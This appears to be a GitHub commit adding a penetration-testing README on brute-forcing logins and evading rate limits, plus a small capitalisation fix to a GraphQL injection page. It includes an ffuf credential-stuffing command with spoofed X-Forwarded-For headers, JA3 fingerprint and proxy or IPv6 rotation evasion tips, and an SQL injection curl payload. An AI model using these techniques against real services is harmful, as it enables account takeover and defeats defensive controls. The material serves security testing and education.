Skip to content

Commit 0dc0978

Browse files
committed
Brute Force and Rate Limit
1 parent fc06c0e commit 0dc0978

2 files changed

Lines changed: 147 additions & 2 deletions

File tree

Brute Force Rate Limit/README.md

Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
# Brute Force & Rate Limit
2+
3+
## Summary
4+
5+
* [Tools](#tools)
6+
* [Bruteforce](#bruteforce)
7+
* [Burp Suite Intruder](#burp-suite-intruder)
8+
* [FFUF](#ffuf)
9+
* [Rate Limit](#rate-limit)
10+
* [TLS Stack - JA3](#tls-stack---ja3)
11+
* [Network IPv4](#network-ipv4)
12+
* [Network IPv6](#network-ipv6)
13+
* [References](#references)
14+
15+
## Tools
16+
17+
* [ddd/gpb](https://github.com/ddd/gpb) - Bruteforcing the phone number of any Google user while rotating IPv6 addresses.
18+
* [ffuf/ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go.
19+
* [PortSwigger/Burp Suite](https://portswigger.net/burp) - The class-leading vulnerability scanning, penetration testing, and web app security platform.
20+
* [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) - A special build of curl that can impersonate Chrome & Firefox.
21+
22+
## Bruteforce
23+
24+
In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.
25+
26+
For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.
27+
28+
Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.
29+
30+
### Burp Suite Intruder
31+
32+
* **Sniper attack**: target a single position (one variable) while cycling through one payload set.
33+
```ps1
34+
35+
Username: password
36+
Username1:Password1
37+
Username1:Password2
38+
Username1:Password3
39+
Username1:Password4
40+
```
41+
42+
* **Battering ram attack**: send the same payload to all marked positions at once by using a single payload set.
43+
44+
```ps1
45+
Username1:Username1
46+
Username2:Username2
47+
Username3:Username3
48+
Username4:Username4
49+
```
50+
51+
* **Pitchfork attack**: use different payload lists in parallel, combining the nth entry from each list into one request.
52+
53+
```ps1
54+
Username1:Password1
55+
Username2:Password2
56+
Username3:Password3
57+
Username4:Password4
58+
```
59+
60+
* **Cluster bomb attack**: iterate through all combinations of multiple payload sets.
61+
62+
```ps1
63+
Username1:Password1
64+
Username1:Password2
65+
Username1:Password3
66+
Username1::Password4
67+
68+
Username2:Password1
69+
Username2:Password2
70+
Username2:Password3
71+
Username2:Password4
72+
```
73+
74+
### FFUF
75+
76+
```bash
77+
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
78+
-u https://target.tld/login \
79+
-X POST -d "username=USER&password=PASS" \
80+
-H "Content-Type: application/x-www-form-urlencoded" \
81+
-H "X-Forwarded-For: FUZZ" -w ipv4-list.txt:FUZZ \
82+
-mc all
83+
```
84+
85+
## Rate Limit
86+
87+
### HTTP Pipelining
88+
89+
HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client "pipes" requests one after another over the same connection.
90+
91+
### TLS Stack - JA3
92+
93+
JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS "hello" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked.
94+
95+
> JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a "," to delimit each field and a "-" to delimit each value in each field.
96+
97+
* Burp Suite JA3: `53d67b2a806147a7d1d5df74b54dd049`, `62f6a6727fda5a1104d5b147cd82e520`
98+
* Tor Client JA3: `e7d705a3286e19ea42f587b344ee6865`
99+
100+
**Countermeasures:**
101+
102+
- Use browser-driven automation (Puppeteer / Playwright)
103+
- Spoof TLS handshakes with [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate)
104+
- JA3 randomization plugins for browsers/libraries
105+
106+
### Network IPv4
107+
108+
Use multiple proxies to simulate multiple clients.
109+
110+
```bash
111+
proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ
112+
```
113+
114+
* Use `random_chain` to rotate each request
115+
116+
```ps1
117+
random_chain
118+
```
119+
120+
* Set the number of proxies to chain per connection to 1.
121+
122+
```ps1
123+
chain_len = 1
124+
```
125+
126+
* Finally, specify the proxies in a configuration file:
127+
128+
```ps1
129+
# type host port
130+
socks5 127.0.0.1 1080
131+
socks5 192.168.1.50 1080
132+
http proxy1.example.com 8080
133+
http proxy2.example.com 8080
134+
```
135+
136+
### Network IPv6
137+
138+
Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.
139+
140+
141+
## References
142+
143+
* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://brutecat.com/articles/leaking-google-phones)
144+
* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types)
145+
* [Detecting and annoying Burp users - Julien Voisin - May 3, 2021](https://dustri.org/b/detecting-and-annoying-burp-users.html)

GraphQL Injection/README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -348,7 +348,7 @@ Use `$regex` inside a `search` parameter.
348348
349349
### SQL Injection
350350
351-
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
351+
Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
352352
353353
```js
354354
{
@@ -360,7 +360,7 @@ Send a single quote `'` inside a graphql parameter to trigger the SQL injection
360360
}
361361
```
362362
363-
Simple SQL injection inside a graphql field.
363+
Simple SQL injection inside a GraphQL field.
364364
365365
```powershell
366366
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

0 commit comments

Comments
 (0)